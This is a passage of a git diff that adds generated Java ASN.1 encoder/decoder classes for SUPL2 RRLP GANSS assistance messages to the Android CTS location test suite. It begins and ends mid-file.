+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1OctetString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSAssistanceData extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_GANSSAssistanceData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSAssistanceData() {
+ super();
+ setMinSize(1);
+setMaxSize(40);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSAssistanceData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSAssistanceData != null) {
+ return ImmutableList.of(TAG_GANSSAssistanceData);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSAssistanceData from encoded stream.
+ */
+ public static GANSSAssistanceData fromPerUnaligned(byte[] encodedBytes) {
+ GANSSAssistanceData result = new GANSSAssistanceData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSAssistanceData from encoded stream.
+ */
+ public static GANSSAssistanceData fromPerAligned(byte[] encodedBytes) {
+ GANSSAssistanceData result = new GANSSAssistanceData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "GANSSAssistanceData";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceForOneGANSS.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceForOneGANSS.java
new file mode 100755
index 0000000..3765810
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceForOneGANSS.java
@@ -0,0 +1,366 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSAssistanceForOneGANSS extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSAssistanceForOneGANSS
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSAssistanceForOneGANSS() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSAssistanceForOneGANSS;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSAssistanceForOneGANSS != null) {
+ return ImmutableList.of(TAG_GANSSAssistanceForOneGANSS);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSAssistanceForOneGANSS from encoded stream.
+ */
+ public static GANSSAssistanceForOneGANSS fromPerUnaligned(byte[] encodedBytes) {
+ GANSSAssistanceForOneGANSS result = new GANSSAssistanceForOneGANSS();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSAssistanceForOneGANSS from encoded stream.
+ */
+ public static GANSSAssistanceForOneGANSS fromPerAligned(byte[] encodedBytes) {
+ GANSSAssistanceForOneGANSS result = new GANSSAssistanceForOneGANSS();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSAssistanceForOneGANSS.ganssIDType ganssID_;
+ public GANSSAssistanceForOneGANSS.ganssIDType getGanssID() {
+ return ganssID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSAssistanceForOneGANSS.ganssIDType
+ */
+ public void setGanssID(Asn1Object value) {
+ this.ganssID_ = (GANSSAssistanceForOneGANSS.ganssIDType) value;
+ }
+ public GANSSAssistanceForOneGANSS.ganssIDType setGanssIDToNewInstance() {
+ ganssID_ = new GANSSAssistanceForOneGANSS.ganssIDType();
+ return ganssID_;
+ }
+
+ private GANSSAssistance gANSSAssistance_;
+ public GANSSAssistance getGANSSAssistance() {
+ return gANSSAssistance_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSAssistance
+ */
+ public void setGANSSAssistance(Asn1Object value) {
+ this.gANSSAssistance_ = (GANSSAssistance) value;
+ }
+ public GANSSAssistance setGANSSAssistanceToNewInstance() {
+ gANSSAssistance_ = new GANSSAssistance();
+ return gANSSAssistance_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssID();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSAssistanceForOneGANSS.ganssIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssID : "
+ + getGanssID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGANSSAssistance() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGANSSAssistance();
+ }
+
+ @Override public void setToNewInstance() {
+ setGANSSAssistanceToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSAssistance.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gANSSAssistance : "
+ + getGANSSAssistance().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssIDType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssIDType != null) {
+ return ImmutableList.of(TAG_ganssIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssIDType from encoded stream.
+ */
+ public static ganssIDType fromPerUnaligned(byte[] encodedBytes) {
+ ganssIDType result = new ganssIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssIDType from encoded stream.
+ */
+ public static ganssIDType fromPerAligned(byte[] encodedBytes) {
+ ganssIDType result = new ganssIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSAssistanceForOneGANSS = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceSet.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceSet.java
new file mode 100755
index 0000000..790b198
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceSet.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSAssistanceSet extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSAssistanceSet
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSAssistanceSet() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSAssistanceSet;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSAssistanceSet != null) {
+ return ImmutableList.of(TAG_GANSSAssistanceSet);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSAssistanceSet from encoded stream.
+ */
+ public static GANSSAssistanceSet fromPerUnaligned(byte[] encodedBytes) {
+ GANSSAssistanceSet result = new GANSSAssistanceSet();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSAssistanceSet from encoded stream.
+ */
+ public static GANSSAssistanceSet fromPerAligned(byte[] encodedBytes) {
+ GANSSAssistanceSet result = new GANSSAssistanceSet();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private CommonGANSSAssistance commonGANSSAssistance_;
+ public CommonGANSSAssistance getCommonGANSSAssistance() {
+ return commonGANSSAssistance_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CommonGANSSAssistance
+ */
+ public void setCommonGANSSAssistance(Asn1Object value) {
+ this.commonGANSSAssistance_ = (CommonGANSSAssistance) value;
+ }
+ public CommonGANSSAssistance setCommonGANSSAssistanceToNewInstance() {
+ commonGANSSAssistance_ = new CommonGANSSAssistance();
+ return commonGANSSAssistance_;
+ }
+
+ private SpecificGANSSAssistance specificGANSSAssistance_;
+ public SpecificGANSSAssistance getSpecificGANSSAssistance() {
+ return specificGANSSAssistance_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SpecificGANSSAssistance
+ */
+ public void setSpecificGANSSAssistance(Asn1Object value) {
+ this.specificGANSSAssistance_ = (SpecificGANSSAssistance) value;
+ }
+ public SpecificGANSSAssistance setSpecificGANSSAssistanceToNewInstance() {
+ specificGANSSAssistance_ = new SpecificGANSSAssistance();
+ return specificGANSSAssistance_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getCommonGANSSAssistance() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCommonGANSSAssistance();
+ }
+
+ @Override public void setToNewInstance() {
+ setCommonGANSSAssistanceToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CommonGANSSAssistance.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "commonGANSSAssistance : "
+ + getCommonGANSSAssistance().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSpecificGANSSAssistance() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSpecificGANSSAssistance();
+ }
+
+ @Override public void setToNewInstance() {
+ setSpecificGANSSAssistanceToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SpecificGANSSAssistance.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "specificGANSSAssistance : "
+ + getSpecificGANSSAssistance().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSAssistanceSet = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAuxiliaryInformation.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAuxiliaryInformation.java
new file mode 100755
index 0000000..64c5dc8
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAuxiliaryInformation.java
@@ -0,0 +1,358 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSAuxiliaryInformation extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_GANSSAuxiliaryInformation
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "GANSSAuxiliaryInformation: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public GANSSAuxiliaryInformation() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSAuxiliaryInformation;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSAuxiliaryInformation != null) {
+ return ImmutableList.of(TAG_GANSSAuxiliaryInformation);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new GANSSAuxiliaryInformation from encoded stream.
+ */
+ public static GANSSAuxiliaryInformation fromPerUnaligned(byte[] encodedBytes) {
+ GANSSAuxiliaryInformation result = new GANSSAuxiliaryInformation();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSAuxiliaryInformation from encoded stream.
+ */
+ public static GANSSAuxiliaryInformation fromPerAligned(byte[] encodedBytes) {
+ GANSSAuxiliaryInformation result = new GANSSAuxiliaryInformation();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $GanssID1(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new GANSS_ID1();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSS_ID1.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $GanssID3(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new GANSS_ID3();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSS_ID3.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+
+
+ public boolean isGanssID1() {
+ return !hasExtensionValue() && Select.$GanssID1 == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isGanssID1}.
+ */
+ @SuppressWarnings("unchecked")
+ public GANSS_ID1 getGanssID1() {
+ if (!isGanssID1()) {
+ throw new IllegalStateException("GANSSAuxiliaryInformation value not a GanssID1");
+ }
+ return (GANSS_ID1) element;
+ }
+
+ public void setGanssID1(GANSS_ID1 selected) {
+ selection = Select.$GanssID1;
+ extension = false;
+ element = selected;
+ }
+
+ public GANSS_ID1 setGanssID1ToNewInstance() {
+ GANSS_ID1 element = new GANSS_ID1();
+ setGanssID1(element);
+ return element;
+ }
+
+
+
+ public boolean isGanssID3() {
+ return !hasExtensionValue() && Select.$GanssID3 == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isGanssID3}.
+ */
+ @SuppressWarnings("unchecked")
+ public GANSS_ID3 getGanssID3() {
+ if (!isGanssID3()) {
+ throw new IllegalStateException("GANSSAuxiliaryInformation value not a GanssID3");
+ }
+ return (GANSS_ID3) element;
+ }
+
+ public void setGanssID3(GANSS_ID3 selected) {
+ selection = Select.$GanssID3;
+ extension = false;
+ element = selected;
+ }
+
+ public GANSS_ID3 setGanssID3ToNewInstance() {
+ GANSS_ID3 element = new GANSS_ID3();
+ setGanssID3(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "GANSSAuxiliaryInformation = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSClockModel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSClockModel.java
new file mode 100755
index 0000000..a632557
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSClockModel.java
@@ -0,0 +1,479 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSClockModel extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_GANSSClockModel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "GANSSClockModel: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public GANSSClockModel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSClockModel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
